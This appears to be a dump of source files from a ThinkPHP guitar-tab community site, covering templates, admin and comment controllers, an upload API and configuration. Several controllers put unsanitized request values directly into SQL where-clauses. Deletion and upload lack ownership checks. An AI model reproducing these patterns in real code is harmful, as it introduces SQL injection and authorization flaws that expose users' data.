<?php if($item[reply_num] > 0) { ?>
<span>(<?php echo ($item["reply_num"]); ?>回应)</span>
<?php } ?>
</div>
<div class="right">
<span class="date"><?php echo (firendlytime($item["add_time"])); ?></span>
</div>
</li><?php endforeach; endif; ?>
</ul>
</div>
<br class="clear" />
<!-- page begin -->
<div class="manu"><?php echo ($page); ?></div>
<!-- page end -->
<p>
<br/>
<form action="http://localhost:9990/gtp/group/<?php echo ($group["id"]); ?>" class="form" method="get">
<b>搜索话题:</b> <input type="text" class="text" name="k" value="<?php echo ($k); ?>" /> <input type="submit" class="button" value="查询" />
</form>
</p>
<?php } ?>
</div>
</div>
</div>
<!-- right begin -->
<div class="channel-right">
<script type="text/javascript">
alimama_pid="mm_10574926_3506959_11486840";
alimama_width=300;
alimama_height=250;
</script>
<script src="http://a.alimama.cn/inf.js" type="text/javascript">
</script>
</div>
<!-- right end -->
</div>
<div class="footer">
<div class="wp">
<p class="copy" style="">©<a href="http://localhost:9990/gtp">Guitar-Pro.cn</a> 2012 </p>
<p class="navg"><a href="http://localhost:9990/gtp/blog/1">关于我们</a><a href="http://localhost:9990/gtp/blog/2">更新列表</a><a href="http://localhost:9990/gtp/blog/3">BUG反馈</a><a href="http://localhost:9990/gtp/blog/4">功能建议</a><a href="http://localhost:9990/gtp/blog/5">友情链接</a></p>
<p class="links"></p>
</div>
</div>
<input type="hidden" name="site" id="site" value="http://localhost:9990/gtp" />
<script type="text/javascript">(function(){document.write(unescape('%3Cdiv id="bdcs"%3E%3C/div%3E'));var bdcs = document.createElement('script');bdcs.type = 'text/javascript';bdcs.async = true;bdcs.src = 'http://znsv.baidu.com/customer_search/api/js?sid=14009195900081859174' + '&plate_url=' + encodeURIComponent(window.location.href) + '&t=' + Math.ceil(new Date()/3600000);var s = document.getElementsByTagName('script')[0];s.parentNode.insertBefore(bdcs, s);})();</script>
<div style="display:none">
<script language="javascript" type="text/javascript" src="http://js.users.51.la/17745245.js"></script>
<noscript><a href="http://www.51.la/?17745245" target="_blank"><img alt="我要啦免费统计" src="http://img.users.51.la/17745245.asp" style="border:none" /></a></noscript>
</div>
</body>
</html><file_sep>/Application/Runtime/Cache/Home/7c645fb5df008b90d4ba5e7d6f0afa99.php
<?php if (!defined('THINK_PATH')) exit();?><li id="comment-<?php echo ($comment["id"]); ?>">
<div class="comm_l">
<a href="http://localhost:9990/gtp/user/<?php getUserDomainById($comment['user_id']) ?>"><img src="<?php getUserFaceById($comment['user_id']); ?>" class="face" /></a>
</div>
<div class="comm_r">
<a href="http://localhost:9990/gtp/user/<?php getUserDomainById($comment['user_id']) ?>" id="comm-nick-<?php echo ($comment["id"]); ?>"><?php echo ($comment["nick"]); ?></a> <span class="c7"><?php echo (firendlytime($comment["add_time"])); ?></span>
<?php if(!empty($comment['parent_id']) && $comment['parent_id'] > 0) { ?>
<?php $p_comment = getCommentById($comment['parent_id']); ?>
<?php if(empty($p_comment) || $p_comment["state"] == -1) { ?>
<p class="quote_item" style="color: #999;">该评论已被删除</p>
<?php } else { ?>
<p class="quote_item"><?php getParentUser($comment['parent_id']); ?>:<?php echo $p_comment['content']; ?></p>
<?php } ?>
<?php } ?>
<p id="comm-cnt-<?php echo ($comment["id"]); ?>"><?php echo (autolink($comment["content"])); ?></p>
</div>
<div class="c_opt">
<?php if(isTopicOwnerById($item_id, $_uid) || isCommentOwner($comment['id'], $_uid)) { ?>
<a href="javascript:void(0);" class="doDelete" cid="<?php echo ($comment["id"]); ?>">删除</a>
<?php } ?>
<a href="javascript:void(0);" class="doQuote" cid="<?php echo ($comment["id"]); ?>">回应</a>
</div>
<br class="clear" />
</li><file_sep>/Application/Admin/Controller/BlogController.class.php
<?php
namespace Admin\Controller;
use Think\Controller;
use Think\Exception;
use Think\Page;
class BlogController extends BaseController {
public function _before_index() {
if(!$this->is_admin())
redirect($this->site_url."/user/login/?page=admin/blog/index");
}
public function index() {
$p = I("get.p") ? I("get.p") : 1;
$size = 10;
$blog_list = D("BlogView")->where($where)->order('add_time desc')->page($p.",{$size}")->select();
$count = D("BlogView")->where($where)->count();
$Page = new Page($count, $size);
$page = $Page->show();
$this->assign('blog_list', $blog_list);
$this->assign('page', $page);
$this->display();
}
public function _before_add() {
if(!$this->is_admin())
redirect($this->site_url."/user/login/?page=admin/blog/add");
}
public function add() {
if(IS_POST) {
try {
$blog = D("Blog");
if($blog->create()) {
$blog->user_id = $this->uid;
$blog->content = nl2br2(I("post.content"));
$blog->add();
$this->redirect("/admin/blog/");
}
} catch (Exception $ex) {
$this->assign("err", $ex->getMessage());
$this->display();
}
} else {
$this->display();
}
}
public function _before_edit() {
if(!$this->is_admin())
redirect($this->site_url."/user/login/?page=admin/blog/edit/".I("get.id"));
}
public function edit() {
if(IS_POST) {
try {
$title = trim(I("post.title"));
$content = trim(I("post.content"));
if(empty($title)) E("必须输入标题");
if(empty($content)) E("必须输入内容");
$id = I("post.id");
$data['title'] = $title;
$data['description'] = trim(I("post.description"));
$data["content"] = nl2br2($content);
$data['tags'] = trim(I("post.tags"));
M("Blog")->where("id={$id}")->data($data)->save();
$this->redirect('/admin/blog');
} catch (Exception $ex) {
$this->assign("err", $ex->getMessage());
$this->display();
}
} else {
$id = I("get.id");
$blog = M("Blog")->where("id={$id}")->find();
$this->assign("item", $blog);
$this->display();
}
}
}<file_sep>/Application/Common/Conf/config.php
<?php
return array(
'MODULE_ALLOW_LIST' => array ( 'Home', 'M', 'Admin'),
'DEFAULT_MODULE' => 'Home',
'URL_MODEL' => '2',
'SESSION_AUTO_START' => true,
//'DB_TYPE'=>'mysql',
//'DB_HOST'=>'172.16.31.10',
//'DB_NAME'=>'gtp',
//'DB_USER'=>'root',
//'DB_PWD'=>'<PASSWORD>',
//'DB_PORT'=>'3306',
//'DB_PREFIX'=>'',
'DB_TYPE'=>'mysql',
'DB_HOST'=>'localhost',
'DB_NAME'=>'gtp',
'DB_USER'=>'root',
'DB_PWD'=>'<PASSWORD>',
'DB_PORT'=>'3306',
'DB_PREFIX'=>'',
'TOKEN_ON' => false,
'URL_CASE_INSENSITIVE' => true,
'VAR_PAGE' => 'p',
'SHOW_PAGE_TRACE' => false,
'URL_PARAMS_BIND' => true,
'URL_ROUTER_ON' => true,
'URL_HTML_SUFFIX' => '',
'URL_ROUTE_RULES' => array(
//'topic/edit/:id' => 'topic/edit',
//'topic/delete/:id' => 'topic/delete',
//'topic/:opt/:id' => 'topic/:opt',
//'topic/:id\d$' => 'topic/details',
'search' => 'index/search',
'user/settings' => 'user/settings',
'user/face' => 'user/face',
'user/crop' => 'user/crop',
'user/login' => 'user/login',
'user/register' => 'user/register',
'user/logout' => 'user/logout',
'user/get_city' => 'user/get_city',
'user/edit/:id' => 'user/edit',
'user/edit' => 'user/edit',
'user/delete/:id' => 'user/delete',
'user/:id\d$' => 'user/details',
'user/:domain\s$' => 'user/details',
'gtp/:id\d$' => 'gtp/details',
'gtp/edit/:id' => 'gtp/edit',
'gtp/delete/:id' => 'gtp/delete',
'gtp/download/:id' => 'gtp/download',
'vedio/:id\d$' => 'vedio/details',
'vedio/edit/:id' => 'vedio/edit',
'vedio/delete/:id' => 'vedio/delete',
'group/:id\d$' => 'group/details',
'group/edit/:id' => 'group/edit',
'group/face/:id' => 'group/face',
'group/delete/:id' => 'group/delete',
'group/join/:id' => 'group/join',
'group/member/:id' => 'group/member',
'group/topic/:id' => 'group/topic',
'group/role/:id' => 'group/role',
'topic/:id\d$' => 'topic/details',
'topic/edit/:id' => 'topic/edit',
'topic/top/:id' => 'topic/top',
'topic/delete/:id' => 'topic/delete',
'comment/delete/:id' => 'comment/delete',
'message/:id\d$' => 'message/details',
'message/add/:id' => 'message/add',
'message/edit/:id' => 'message/edit',
'message/reply/:id' => 'message/reply',
'message/delete/:id' => 'message/delete',
'blog/:id\d$' => 'blog/details',
'blog/add/:id' => 'blog/add',
'blog/edit/:id' => 'blog/edit',
'blog/delete/:id' => 'blog/delete',
'dirty/delete/:id' => 'dirty/delete',
),
'TMPL_PARSE_STRING' => array(
'__SITE__' => 'http://localhost:9990/gtp',
//'__SITE__' => 'http://www.ganhuole.com/ganhuo',
'__TITLE__' => 'Guitar Pro',
)
);<file_sep>/Application/M/Controller/IndexController.class.php
<?php
namespace M\Controller;
use Think\Controller;
use Think\Exception;
class IndexController extends BaseController {
public function _before_index() {
//$this->permission_verifying();
}
public function index() {
$p = $_GET["p"] ? $_GET["p"] : 1;
$size = 10;
$p == 1 ? $size = 10 : $size = 10;
$map['state'] = array('in','100, 101');
$items = M("Item")->where($map)->order('add_time desc')->page($p.",{$size}")->select();
$count = M('Item')->where($map)->count();
$Page = new \Think\Page($count, $size);
$page = $Page->show();
$this->assign('page', $page);
$this->assign('items', $items);
$this->display();
}
public function _before_my_items() {
$this->permission_verifying();
}
public function my_items() {
$p = $_GET["p"] ? $_GET["p"] : 1;
$size = 10;
$p == 1 ? $size = 10 : $size = 10;
$map["Item_People.people_id"] = $this->uid;
$items = M("Item")
->join(" Item_People on Item.id = Item_People.item_id ")
->field(" Item.id as id, Item.item_code, Item.source_type, Item.tel, Item.custom_name, Item.custom_tel, Item.price, Item.address, Item.content, Item.apply_num, Item.release_num, Item.people_id, Item.guarantee_period, Item.guarantee_content, Item.add_time, Item.state , Item_People.people_id")
->where($map)->order("add_time desc")->page($p.", {$size}")->select();
$count = M('Item')
->join(" People_Item on Item.id = People_Item.item_id ")
->field(" Item.id as id, Item.item_code, Item.source_type, Item.tel, Item.custom_name, Item.custom_tel, Item.price, Item.address, Item.content, Item.remark, Item.apply_num, Item.release_num, Item.people_id, Item.guarantee_period, Item.guarantee_content, Item.add_time, Item.state , ItemPeople.people_id")
->where($map)->count();
$Page = new \Think\Page($count, $size);
$page = $Page->show();
$this->assign('page', $page);
$this->assign('items', $items);
$this->display();
}
public function load() {
$p = $_GET["p"] ? $_GET["p"] : 1;
$size = 10;
$p == 1 ? $size = 10 : $size = 10;
$people_id = $_GET["uid"];
$map['state'] = array('in','100, 101');
$items = M("Item")->where($map)->order('add_time desc')->page($p.",{$size}")->select();
$ret_items = array();
foreach ($items as $key => $value) {
$item_map["item_id"] = $value["id"];
$item_map["people_id"] = $people_id;
$count = M("ItemPeople")->where($item_map)->count();
if($count > 0)
$value["applied"] = true;
else
$value["applied"] = false;
array_push($ret_items, $value);
}
$this->assign("items", $ret_items);
$this->assign("item_count", count($ret_items));
$this->display('Public:list');
//echo json_encode($ret_items);
}
public function load_my_items() {
$p = $_GET["p"] ? $_GET["p"] : 1;
$size = 10;
$p == 1 ? $size = 10 : $size = 10;
$people_id = $_GET["uid"];
$map["Item_People.people_id"] = $this->uid;
$items = M("Item")
->join(" Item_People on Item.id = Item_People.item_id ")
->field(" Item.id as id, Item.item_code, Item.source_type, Item.tel, Item.custom_name, Item.custom_tel, Item.price, Item.address, Item.content, Item.remark, Item.apply_num, Item.release_num, Item.people_id, Item.guarantee_period, Item.guarantee_content, Item.add_time, Item.state , Item_People.people_id")
->where($map)->order("add_time desc")->page($p.", {$size}")->select();
//dump(M("Item")->_sql());
$ret_items = array();
foreach ($items as $key => $value) {
$item_map["item_id"] = $value["id"];
$item_map["people_id"] = $people_id;
$count = M("ItemPeople")->where($item_map)->count();
if($count > 0)
$value["applied"] = true;
else
$value["applied"] = false;
array_push($ret_items, $value);
}
$this->assign("items", $ret_items);
$this->assign("item_count", count($ret_items));
$this->display('Public:list');
//echo json_encode($ret_items);
}
}<file_sep>/Application/Home/Controller/ApiController.class.php
<?php
namespace Home\Controller;
use Think\Controller;
use Org\Util\JsonResult;
use Org\Util\Encode;
use Think\Upload;
use Think\Image;
use Org\Util\PinYin;
header('Content-Type: text/json; charset=utf-8');
class ApiController extends Controller {
public function index() {
$method = I("get.method");
if(!empty($method)) {
$this->http_request($method);
} else {
echo JsonResult::error_msg("no such function");
}
}
private function get_now() {
return date("Y-m-d H:i:s");
}
private function http_request($method) {
switch ($method) {
case "gtp.add":
{
echo $this->add_gtp();
}
break;
default:
break;
}
}
private function add_gtp() {
try {
$artist_name = I("post.artist_name");
$song_title = I("post.song_title");
if(empty($artist_name)) E("必须输入音乐人");
if(empty($song_title)) E("必须输入音乐名称");
if(empty($_FILES["file_name"])) E("必须上传Guitar Pro文件");
if($_FILES["file_name"]['size'] <= 0) E("必须上传正确的Guitar Pro附件");
$map["artist_name"] = trim($artist_name);
$map["song_title"] = trim($song_title);
$map["file_size"] = $_FILES["file_name"]['size'];
$count = M("Gtp")->where($map)->count();
if($count != 0)
return JsonResult::error_msg("existed.");
$gtp = D("Gtp");
if($gtp->create()) {
$gtp->user_id = I("post.user_id");
$gtp->artist_name = trim($artist_name);
$gtp->song_title = trim($song_title);
$gtp->author = trim(I("post.author"));
$gtp->source = trim(I("post.source"));
// pinyin
$pinyin = new PinYin();
$gtp->letters = $pinyin->pinyin($gtp->song_title);
if(!empty($_FILES["file_name"]) && $_FILES["file_name"]['size'] > 0) {
$upload = new Upload();
$upload->maxSize = 3145728;
$upload->saveName = 'time';
$upload->exts = array('gp3', 'gp4', 'gp5', 'gp6', 'gpx');
$upload->rootPath = './';
$upload->savePath = './upload/gtp/';
$info = $upload->uploadOne($_FILES['file_name']);
if(!$info) {
E($upload->getError());
} else {
$gtp->file_name = substr($info['savepath'].$info['savename'], 2);
$gtp->file_size = $_FILES["file_name"]['size'];
}
} else {
E("必须上传Guitar Pro附件");
}
$id = $gtp->add($data);
return JsonResult::data($id);
} else {
E($gtp->getError());
}
} catch (Exception $ex) {
return JsonResult::error_msg($ex->getMessage());
}
}
}<file_sep>/ThinkPHP/Library/Org/Util/ImageCrop.class.php
<?php
namespace Org\Util;
use Think\Exception;
class ImageCrop {
private $source_file;
private $target_file;
private $ext;
private $x;
private $y;
private $x1;
private $y1;
private $width = 50;
private $height = 50;
private $jpeg_quality = 90;
public function __construct() {
}
public function initialize($source_file, $target_file, $x, $y, $x1, $y1) {
if (file_exists ($source_file)) {
$this->source_file = $source_file;
$this->target_file = $target_file;
$pathinfo = pathinfo ($source_file);
$this->ext = $pathinfo['extension'];
} else {
E('the file is not exists!');
}
$this->x = $x;
$this->y = $y;
$this->x1 = $x1;
$this->y1 = $y1;
}
public function generate() {
switch ($this->ext) {
case 'jpg' :
return $this->generateJpg();
break;
case 'png' :
return $this->generatePng();
break;
case 'gif' :
return $this->generateGif();
break;
default :
return false;
}
}
private function getFileName() {
/*
$pathinfo = pathinfo($this->filename);
$fileinfo = explode('.', $pathinfo['basename']);
$filename = 's'.$fileinfo[0] . $this->ext;
return 'uploadfiles/'.$filename;
* */
return $this->source_file;
}
private function generateJpg() {
$img_r = imagecreatefromjpeg($this->source_file);
$dst_r = ImageCreateTrueColor($this->width, $this->height);
imagecopyresampled ($dst_r, $img_r, 0, 0, $this->x, $this->y, $this->width, $this->height, $this->x1, $this->y1);
imagejpeg($dst_r, $this->target_file, $this->jpeg_quality);
return $this->target_file;
}
private function generateGif() {
$img_r = imagecreatefromgif($this->source_file);
$dst_r = ImageCreateTrueColor($this->width, $this->height);
imagecopyresampled ($dst_r, $img_r, 0, 0, $this->x, $this->y, $this->width, $this->height, $this->x1, $this->y1);
imagegif($dst_r, $this->target_file);
return $this->target_file;
}
private function generatePng() {
$img_r = imagecreatefrompng($this->source_file);
$dst_r = ImageCreateTrueColor($this->width, $this->height);
imagecopyresampled ($dst_r, $img_r, 0, 0, $this->x, $this->y, $this->width, $this->height, $this->x1, $this->y1);
imagepng($dst_r, $this->target_file);
return $this->target_file;
}
}
?><file_sep>/Application/M/Controller/ItemController.class.php
<?php
namespace M\Controller;
use Think\Controller;
use Think\Exception;
class ItemController extends BaseController {
public function _before_apply() {
$this->permission_verifying();
}
public function apply() {
$item_id = $_GET["id"];
$people_id = $this->uid;
try {
$item = M("Item")->where("id = {$item_id}")->find();
if($item["state"] == 100 || $item["state"] == 101) {
$ip_data["item_id"] = $item_id;
$ip_data["people_id"] = $people_id;
$ip_count = M("ItemPeople")->where($ip_data)->count();
//dump(M("ItemPeople")->_sql());
if($ip_count > 0) {
$map["add_time"] = date("Y-m-d H:i:s");
M("ItemPeople")->where($map)->save($data);
//dump(M("ItemPeople")->_sql());
} else {
$item_people = D("ItemPeople");
$item_people->people_id = $people_id;
$item_people->item_id = $item_id;
$item_people->state = 100; // 已申请
$item_people->add_time = date("Y-m-d H:i:s");
//dump($item_people);
$item_people->add();
//$item_data["state"] = 101;
//M("Item")->where("id={$item_id}")->save($item_data);
}
$item = M("Item")->where("id={$item_id}")->find();
$item_data["apply_num"] = $item["apply_num"] + 1;
M("Item")->where("id={$item_id}")->data($item_data)->save();
$this->assign("item_id", $item_id);
$this->assign("item", $item);
} else {
redirect($this->site_url."/m/notice/?key=item_bad&state=".$item['state']);
}
redirect($this->site_url."/m/notice/?key=apply&item_id=".$item['id']);
} catch (Exception $ex) {
$this->assign("err", $ex->getMessage());
$this->display();
}
}
public function _before_withdraw() {
$this->permission_verifying();
}
public function withdraw() {
$item_id = $_GET["id"];
$people_id = $this->uid;
$item = M("Item")->where("id = {$item_id}")->find();
if($item["state"] == 100) {
$map["item_id"] = $item_id;
$map["people_id"] = $people_id;
M("ItemPeople")->where($map)->delete();
$item_data["apply_num"] = $item["apply_num"] - 1;
M("Item")->where("id={$item_id}")->data($item_data)->save();
redirect(C("TMPL_PARSE_STRING.__SITE__")."/m#".$item_id);
} else {
redirect($this->site_url."/m/notice/?key=item_bad_withdraw&state=".$item['state']);
}
}
}<file_sep>/Application/Home/Controller/CommentController.class.php
<?php
namespace Home\Controller;
use Think\Controller;
use Think\Exception;
use Think\Page;
use Org\Util\JsonResult;
class CommentController extends BaseController {
public function _before_add() {
if($this->logined != true) {
$item_type = I("post.item_type");
$item_id = I("post.item_id");
$goto = $item_type.'/'.$item_id;
redirect($this->site_url."/user/login/?page=".$goto);
}
}
public function add() {
if(IS_POST) {
try {
$title = I("post.content");
if(empty($title)) E("评论内容必须填写");
$item_type = I("post.item_type");
$item_id = I("post.item_id");
$comment = D("Comment");
if($comment->create()) {
$comment->user_id = $this->uid;
$comment->content = nl2br2(I("post.content"));
$comment->parent_id = I("post.parent_id");
$comment_id = $comment->add();
$map["comment.id"] = $comment_id;
$comment = M("Comment")
->join("user on user.id = comment.user_id")
->field("comment.id, comment.item_type, comment.item_id, comment.user_id, comment.content, comment.add_time, user.nick, user.face")
->where($map)
->find();
if($item_type == "topic") {
M("Topic")->where("id={$item_id}")->setInc('reply_num', 1);
$data["last_reply_time"] = $this->get_now();
M("Topic")->where("id={$item_id}")->save($data);
}
$this->assign("comment", $comment);
$this->display("Public:comment");
}
} catch (Exception $ex) {
echo JsonResult::error($ex->getMessage());
}
}
}
public function delete() {
$id = trim(I("get.id"));
$type = trim(I("get.type"));
try {
if(empty($id)) E("必须有回复编号");
if(empty($type)) $type = "edit";
if($type == "delete") {
M("Comment")->where("id={$id}")->delete();
} else {
$data["id"] = $id;
$data["state"] = -1;
M("Comment")->data($data)->save();
}
if($type == "topic") {
$topic = M("Topic")->find($id);
if($topic["reply_num"] > 0)
M("Topic")->where("id={$id}")->setDec('reply_num', 1);
}
echo JsonResult::boolean(true);
} catch (Exception $ex) {
echo JsonResult::error($ex->getMessage());
}
}
}<file_sep>/Application/Runtime/Cache/Home/db0629c03ef473b091169e57545e7f62.php
<?php if (!defined('THINK_PATH')) exit();?>
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
<html xmlns="http://www.w3.org/1999/xhtml">
<head>
<meta http-equiv="Content-Type" content="text/html; charset=utf-8" />
<!-- <meta name="viewport" content="width=device-width, initial-scale=1, maximum-scale=1" /> -->
<?php if(!empty($title)): ?><title><?php echo ($title); ?>|Guitar Pro</title>
<?php else: ?>
<title>Guitar Pro</title><?php endif; ?>
<meta name="keywords" content="吉他谱,吉他,吉他视频,GTP,Guitar Pro,吉他谱下载" />
<?php if(!empty($description)): ?><meta name="description" content="<?php echo ($description); ?>,收藏自Guitar-Pro.cn." />
<?php else: ?>
<meta name="description" content="Guitar-pro,收集分享Guitar-pro吉他谱,吉他视频,为吉他爱好者打造网上资源互动社区." /><?php endif; ?>
<link rel="alternate" type="application/rss+xml" title="阿谱小站" href="http://localhost:9990/gtp/feed" />
<link rel="shortcut icon" href="http://localhost:9990/gtp/favicon.ico" type="image/x-icon" />
<link rel="stylesheet" type="text/css" href="http://localhost:9990/gtp/css/concision.css" />
<link rel="stylesheet" type="text/css" href="http://localhost:9990/gtp/css/prettify.css" />
<script type="text/javascript" src="http://localhost:9990/gtp/js/jquery-2.1.3.min.js"></script>
<script type="text/javascript" src="http://localhost:9990/gtp/js/guitar.js"></script>
</head>
<body>
<div class="header">
<div class="header-wrap wp cf">
<h3 class="logo"><a href="http://localhost:9990/gtp" title="返回首页">Guitar Pro</a></h3>
<ul class="navg">
<li class="title <?php if((CONTROLLER_NAME == 'Index')): ?>selected<?php endif; ?>"><a class="show" href="http://localhost:9990/gtp">首页</a></li>
<li class="title <?php if((CONTROLLER_NAME == 'Gtp')): ?>selected<?php endif; ?>"><a class="show" href="http://localhost:9990/gtp/gtp/">吉他谱</a></li>
<li class="title <?php if(($channel == 'Vedio')): ?>selected<?php endif; ?>"><a class="show" href="http://localhost:9990/gtp/vedio/">吉他视频</a></li>
<!--
<li class="title <?php if($channel == "Group" || $channel == "Topic") { ?>selected<?php } ?>"><a class="show" href="http://localhost:9990/gtp/group/">小组</a></li>
<?php if($_logined) { ?>
<li class="title <?php if(($channel == 'user')): ?>selected<?php endif; ?>"><a class="show" href="http://localhost:9990/gtp/user/<?php echo (getuserdomainbyid($_uid)); ?>">我的空间</a></li>
<?php } ?>
-->
</ul>
<p class="user">
<?php if(!$_logined) { ?>
[<a href="http://localhost:9990/gtp/user/login">登录</a><a href="http://localhost:9990/gtp/user/register">注册</a>]
<?php } else { ?>
[ <?php echo (urldecode($_nick)); ?>
<!--
<a href="http://localhost:9990/gtp/message/" class="mlr0">邮件<?php if($_msgNum > 0) { ?><span id="msg">(<?php echo ($_msgNum); ?>)</span><?php } ?></a>
-->
<a href="http://localhost:9990/gtp/user/settings">设置</a> <a href="http://localhost:9990/gtp/user/logout">退出</a>]
<?php } ?>
</p>
</div>
</div>
<script type="text/javascript" src="http://localhost:9990/gtp/js/jquery.uploadify.min.js"></script>
<script src="http://localhost:9990/gtp/js/jquery.Jcrop.js"></script>
<script type="text/javascript">
jQuery(function($){
// Create variables (in this scope) to hold the API and image size
var jcrop_api,
boundx,
boundy,
// Grab some information about the preview pane
$preview = $('#preview-pane'),
$pcnt = $('#preview-pane .preview-container'),
$pimg = $('#preview-pane .preview-container img'),
xsize = $pcnt.width(),
ysize = $pcnt.height();
$('#target').Jcrop({
onChange: updatePreview,
onSelect: updatePreview,
setSelect: [ 100, 100, 0, 0 ],
aspectRatio: xsize / ysize
},function(){
// Use the API to get the real image size
var bounds = this.getBounds();
boundx = bounds[0];
boundy = bounds[1];
// Store the API in the jcrop_api variable
jcrop_api = this;
// Move the preview into the jcrop container for css positioning
//$preview.appendTo(jcrop_api.ui.holder);
});
function updatePreview(c)
{
if (parseInt(c.w) > 0)
{
var rx = xsize / c.w;
var ry = ysize / c.h;
$pimg.css({
width: Math.round(rx * boundx) + 'px',
height: Math.round(ry * boundy) + 'px',
marginLeft: '-' + Math.round(rx * c.x) + 'px',
marginTop: '-' + Math.round(ry * c.y) + 'px'
});
$('#x').val(c.x);
$('#y').val(c.y);
$('#w').val(c.w);
$('#h').val(c.h);
}
};
});
</script>
<link rel="stylesheet" href="http://localhost:9990/gtp/css/jquery.Jcrop.css" type="text/css" />
<style type="text/css">
/* Apply these styles only when #preview-pane has
been placed within the Jcrop widget */
.jcrop-holder #preview-pane {
position: absolute;
z-index: 2000;
top: 0px;
right: -86px;
padding: 2px;
border: 1px rgba(0,0,0,.4) solid;
background-color: white;
}
/* The Javascript code will set the aspect ratio of the crop
area based on the size of the thumbnail preview,
specified here */
#preview-pane .preview-container {
width: 50px;
height: 50px;
overflow: hidden;
}
</style>
<div class="contaier wp cf">
<div class="ident">头像</div>
<div class="login" style="width: 580px;">
<div class="head">
<strong>1. 添加或更改你的头像</strong>
<?php if (!empty($err)): ?><span style="color: red"><?php echo ($err); ?></span><?php endif; ?>
<?php if (!empty($notice)): ?><span style="color: #fff;background: green; padding: 3px 10px 3px 10px;"><?php echo ($notice); ?></span><?php endif; ?>
</div>
<div class="body form " style="margin-top: -30px;">
<form action="http://localhost:9990/gtp/user/face" method="post" class="login" enctype="multipart/form-data">
<div style="width: 230px; float: left;">
<img src="http://localhost:9990/gtp/<?php getImgName($face, 'm'); ?>" style="width:200px; height: 200px;" class="jcrop-preview" id="target" alt="Preview" />
</div>
<div style="width: 330px; float: left;">
<span class="c9 f14">从电脑中选择你喜欢的照片:</span>
<br />
<span class="c9 f14">你可以上传JPG、JPEG、GIF、或PNG文件。</span>
<div style="margin-top: 10px;">
<input type="file" name="face" id="faceFile" class="text" />
</div>
<div style="margin-top: 5px;">
<input class="submit" type="submit" value="更新头像" /> <a href="http://localhost:9990/gtp/user/settings" style="line-height: 30px;">返回</a>
</div>
</div>
</form>
<br class="clear" />
<br/>
<div class="head">
<strong>2. 设置你的小头像图标</strong>
</div>
<div id="preview-pane" style="margin-top: 15px; float: left;">
<div class="preview-container" >
<img src="http://localhost:9990/gtp/<?php getImgName($face, 'm'); ?>" class="jcrop-preview" alt="Preview" />
</div>
</div>
<div style="margin: 13px; float: left;">
<span class="c9 f16">随意拖拽或缩放大图中的虚线方格,<br/>预览的小图即为保存后的小头像图标。</span>
</div>
<br class="clear" />
<form action="http://localhost:9990/gtp/user/crop" method="post">
<div style="margin-top: 10px;">
<input type="hidden" id="x" name="x" />
<input type="hidden" id="y" name="y" />
<input type="hidden" id="w" name="w" />
<input type="hidden" id="h" name="h" />
<input type="submit" class="submit" value="保存小头像设置" /> <a href="http://localhost:9990/gtp/user/settings" style="line-height: 30px;">返回</a>
</div>
</form>
</div>
</div>
<div class="login-other" style="width: 230px;padding-left: 20px; min-width: 0px;">
<div class="head">
<strong>使用其他帐号直接登录</strong>
</div>
<div class="body">
<ul class="other-account">
<li><a href="http://localhost:9990/gtp/user/settings">用户信息设置</a></li>
<li><a href="http://localhost:9990/gtp/user/face">用户头像设置</a></li>
</ul>
</div>
</div>
</div>
<div class="footer">
<div class="wp">
<p class="copy" style="">©<a href="http://localhost:9990/gtp">Guitar-Pro.cn</a> 2012 </p>
<p class="navg"><a href="http://localhost:9990/gtp/blog/1">关于我们</a><a href="http://localhost:9990/gtp/blog/2">更新列表</a><a href="http://localhost:9990/gtp/blog/3">BUG反馈</a><a href="http://localhost:9990/gtp/blog/4">功能建议</a><a href="http://localhost:9990/gtp/blog/5">友情链接</a></p>
<p class="links"></p>
</div>
</div>
<input type="hidden" name="site" id="site" value="http://localhost:9990/gtp" />
<script type="text/javascript">(function(){document.write(unescape('%3Cdiv id="bdcs"%3E%3C/div%3E'));var bdcs = document.createElement('script');bdcs.type = 'text/javascript';bdcs.async = true;bdcs.src = 'http://znsv.baidu.com/customer_search/api/js?sid=14009195900081859174' + '&plate_url=' + encodeURIComponent(window.location.href) + '&t=' + Math.ceil(new Date()/3600000);var s = document.getElementsByTagName('script')[0];s.parentNode.insertBefore(bdcs, s);})();</script>
<div style="display:none">
<script language="javascript" type="text/javascript" src="http://js.users.51.la/17745245.js"></script>
<noscript><a href="http://www.51.la/?17745245" target="_blank"><img alt="我要啦免费统计" src="http://img.users.51.la/17745245.asp" style="border:none" /></a></noscript>
</div>
</body>
</html><file_sep>/Application/Home/Controller/GtpController.class.php
<?php
namespace Home\Controller;
use Think\Controller;
use Think\Exception;
use Think\Page;
use Think\Upload;
use Org\Util\PinYin;
class GtpController extends BaseController
{
public function index() {
$p = I("get.p") ? I("get.p") : 1;
$size = 25;
$k = trim(I("get.k"));
$artist_name = trim(urldecode(I("get.artist_name")));
$author = trim(urldecode(I("get.author")));
$start = trim(I("get.start"));
$map["state"] = 100;
if(!empty($start) && $start == "number") {
$where = "state = 100 AND letters REGEXP '^[0-9]'";
$gtp_list = M("Gtp")->where($where)->order('download_num desc')->page($p.",{$size}")->select();
$count = M("Gtp")->where($where)->count();
$this->assign("title", $start." GTP吉他谱"." 第{$p}页");
} else {
if(!empty($start)) {
$map["letters"] = array('like', "{$start}%");
$this->assign('start', $start);
$this->assign("title", $start." GTP吉他谱"." 第{$p}页");
}else if(!empty($k)) {
$map["song_title|artist_name"] = array('like', "%{$k}%");
$this->assign('k', $k);
$this->assign("title", $k." GTP吉他谱"." 第{$p}页");
} else if(!empty($artist_name)) {
$map["artist_name"] = array('like', "%{$artist_name}%");
$this->assign('artist_name', $artist_name);
$this->assign("title", $artist_name." GTP吉他谱"." 第{$p}页");
} else if(!empty($author)) {
$map["author"] = array('like', "%{$author}%");
$this->assign('author', $author);
$this->assign("title", $author."制作 GTP吉他谱"." 第{$p}页");
} else {
$this->assign("title", "GTP吉他谱"." 第{$p}页");
}
$gtp_list = M("Gtp")->where($map)->order('download_num desc')->page($p.",{$size}")->select();
$count = M("Gtp")->where($map)->count();
}
$Page = new Page($count, $size);
$page = $Page->show();
//dump($gtp_list);
$this->assign('gtp_list', $gtp_list);
$this->assign('page', $page);
$this->display();
}
public function search() {
$p = I("get.p") ? I("get.p") : 1;
$size = 25;
$k = trim(I("get.k"));
$map["song_title|artist_name"] = array('like', "%{$k}%");
$gtp_list = M("Gtp")->where($map)->order('download_num desc')->page($p.",{$size}")->select();
$count = M("Gtp")->where($map)->count();
$Page = new Page($count, $size);
$page = $Page->show();
$this->assign('k', $k);
$this->assign("title", $k."GTP吉他谱"." 第{$p}页");
